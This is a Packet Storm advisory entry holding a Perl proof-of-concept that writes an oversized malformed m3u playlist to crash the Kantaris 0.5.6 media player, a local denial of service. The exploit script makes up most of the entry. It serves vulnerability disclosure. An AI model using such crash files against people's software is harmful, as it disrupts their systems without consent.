Kantaris 0.5.6 Denial Of Service

2010-01-07T00:00:00
ID PACKETSTORM:84918
Type packetstorm
Reporter Packet Storm
Modified 2010-01-07T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#Kantaris 0.5.6 local Denial of service Poc  
#  
#  
#Author: REMOVED AT REQUEST OF AUTHOR  
#  
#How i find this bug: I was looking for mkv player because i downloaded 13 seasons  
#of south park. I found Kantaris player and decided to chek it's security.  
#  
#  
#  
#  
#  
#Bug info:Kantaris 0.5.6 crashes while loading poc playlist.Loading that kind of playlist  
#should be possible and is possible on other media players.  
#  
#  
#  
#  
#  
#  
#  
#Here is Proof on concept.........  
  
  
$file="poc.m3u";  
$poc='a/' x 105000;  
open(myfile,">>$file");  
print myfile $poc;  
close(myfile);  
print "Finished\n";  
`